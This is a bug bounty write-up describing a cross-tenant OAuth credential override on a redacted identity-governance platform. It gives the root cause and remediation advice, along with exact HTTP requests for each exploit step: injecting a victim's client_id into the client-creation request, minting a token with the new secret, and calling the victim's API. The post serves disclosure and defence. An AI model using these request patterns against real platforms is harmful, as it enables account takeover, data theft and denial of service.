How We Overrode OAuth Credentials on a Multi-Tenant Identity Provider

How We Overrode OAuth Credentials on a Multi-Tenant Identity Provider

OAuth 2.0 is the backbone of modern authentication. When an identity provider gets it wrong, the blast radius can be enormous. In this write-up, we detail a vulnerability we discovered in a major multi-tenant identity governance platform during a bug bounty engagement, where a flaw in the API client management system allowed us to override the OAuth credentials of any service provider on the platform — enabling both authentication bypass and denial of service across tenants.

For confidentiality, the target company's name and identifying URLs have been redacted throughout this post.


Target Overview

The target was a cloud-based identity governance and administration (IGA) platform that provides identity-as-a-service to enterprises. The platform operates on a multi-tenant architecture where each organization is provisioned with a dedicated tenant instance (<tenant>.[redacted].com).

A core feature of the platform is its API Management Panel, where tenant administrators can create OAuth 2.0 API clients. Each API client generates a client_id and client_secret pair, which service providers use to obtain access tokens via the standard OAuth client_credentials grant flow.

The typical flow looks like this:

  1. A tenant admin navigates to the API Management Panel and creates a new API client
  2. The platform generates a random client_id and client_secret
  3. The service provider uses these credentials to request access tokens via POST /oauth/token
  4. The access token is used to authenticate API requests
The API client creation dialog showing the OAuth grant type configuration

Discovering the Flaw

While analyzing the API client creation flow, we intercepted the POST /beta/oauth-clients request that creates new API clients. The request body contained the standard fields — description, grant types, redirect URIs, and token validity settings.

What caught our attention was a subtle observation: the API did not reject an id parameter in the request body. Under normal operation, the platform generates the client_id server-side. But when we injected an id field into the creation request with a value matching an existing client ID, the platform accepted it without any validation.

This meant the server was not treating the client_id as an immutable, system-generated identifier. Instead, it allowed the caller to specify (and override) the ID of an existing API client.


The Exploit Chain

Step 1 — Victim Creates an API Client

The victim (a legitimate tenant admin) creates an API client through the standard flow. The server generates a unique client_id and client_secret:

POST /beta/oauth-clients HTTP/2
Host: <tenant>.api.[redacted].com
Authorization: Bearer <victim_token>
Content-Type: application/json

{
  "accessTokenValiditySeconds": 750,
  "accessType": "OFFLINE",
  "grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
  "redirectUris": ["https://app.example.com/callback"],
  "description": "Production API Client",
  "name": "prod-client"
}

The response returns the generated credentials:

{
  "id": "0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d",
  "secret": "c04d...............9c4696abc",
  "grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
  "scope": ["sp:scopes:all"],
  ...
}

The client_secret is shown only once — the victim copies it and the dialog closes.

Step 2 — Attacker Overrides the Victim's Credentials

The attacker — who is an admin on a different tenant — sends the same API client creation request, but injects the victim's client_id in the id field:

POST /beta/oauth-clients HTTP/2
Host: <attacker-tenant>.api.[redacted].com
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "accessTokenValiditySeconds": 750,
  "accessType": "OFFLINE",
  "grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
  "redirectUris": ["https://attacker.com"],
  "id": "0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d",
  "description": "test",
  "name": "test"
}

The server accepts this request and generates a new client_secret for the victim's client_id:

{
  "id": "0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d",
  "secret": "NEW_SECRET_VALUE_CONTROLLED_BY_ATTACKER",
  "grantTypes": ["AUTHORIZATION_CODE", "CLIENT_CREDENTIALS"],
  "scope": ["sp:scopes:all"],
  ...
}

At this point:

  • The victim's original client_secret is invalidated
  • The attacker now holds the only valid client_secret for the victim's client_id

Step 3 — Attacker Generates an Access Token

Using the overridden credentials, the attacker authenticates as the victim:

POST /oauth/token HTTP/2
Host: <tenant>.login.[redacted].com
Content-Type: application/x-www-form-urlencoded

client_id=0f5cb8a1-c60b-450d-b2ed-1f75fb3ab48d&client_secret=NEW_SECRET_VALUE_CONTROLLED_BY_ATTACKER&grant_type=client_credentials

The server returns a valid access token:

{
  "access_token": "eyJhbGciOiJ...QQ-u7NceHlw6fv20",
  "token_type": "bearer",
  "expires_in": 749,
  "scope": "sp:scopes:all sp:scopes:default"
}

Step 4 — Full API Access

With the stolen access token, the attacker can now make authenticated API calls on behalf of the victim's tenant — accessing user records, account activities, identity data, and any other resources protected by the API:

GET /v3/account-activities HTTP/2
Host: <tenant>.api.[redacted].com
Authorization: Bearer eyJhbGciOiJ...QQ-u7NceHlw6fv20

Why This Is Particularly Dangerous

Authentication Bypass

The attacker gains full API access with sp:scopes:all — the broadest permission scope available. This includes access to PII, user account data, identity governance workflows, and administrative operations.

Denial of Service

When the attacker overrides the client_secret, the victim's original secret is permanently invalidated. The victim cannot generate a new token, and any application relying on the original credentials will stop authenticating. This effectively DoS'es the victim's entire integration with the platform.

Cross-Tenant Impact

The most critical aspect is that client_id values are public. Any web application using the platform's OAuth flow exposes the client_id in the authorization request:

GET /oauth/authorize?response_type=code&client_id={exposed_client_id}&redirect_uri=...

Per the OAuth 2.0 specification, "the client_id is a public identifier for apps." This means an attacker can:

  1. Create their own free tenant on the platform (available to anyone)
  2. Observe any target tenant's client_id from the public OAuth authorization request
  3. Override the target's client_secret from their own tenant
  4. Authenticate as the target and access their data

This requires no prior access to the victim's tenant — only the ability to create a free account on the platform.


Root Cause

The vulnerability stemmed from two compounding issues:

  1. Missing input validation on the id field. The API client creation endpoint (POST /beta/oauth-clients) accepted a user-supplied id parameter without validating whether the ID already existed. Instead of rejecting the request or ignoring the field, the server treated it as a legitimate client identifier and overwrote the existing record.
  2. No tenant-level isolation for client_id namespace. The client_id identifier space was global across all tenants. A client_id created on Tenant A could be referenced (and overridden) by Tenant B. There was no scoping or ownership check to prevent cross-tenant credential manipulation.

Remediation Recommendations

  1. Ignore user-supplied id values. The client_id should be exclusively server-generated. Any id field in the creation request body should be stripped or rejected with an error.
  2. Enforce tenant-scoped client_id namespaces. Even if a client_id is globally unique, write operations on it must be restricted to the owning tenant. Cross-tenant references should return a 403 Forbidden.
  3. Implement idempotency checks. If a POST request attempts to create a resource with an ID that already exists, the server should return a 409 Conflict rather than silently overwriting the existing resource.
  4. Treat client_secret rotation as a privileged operation. Regenerating a client_secret should require explicit authorization from the owning tenant's admin and should trigger an audit log entry and notification.

Read more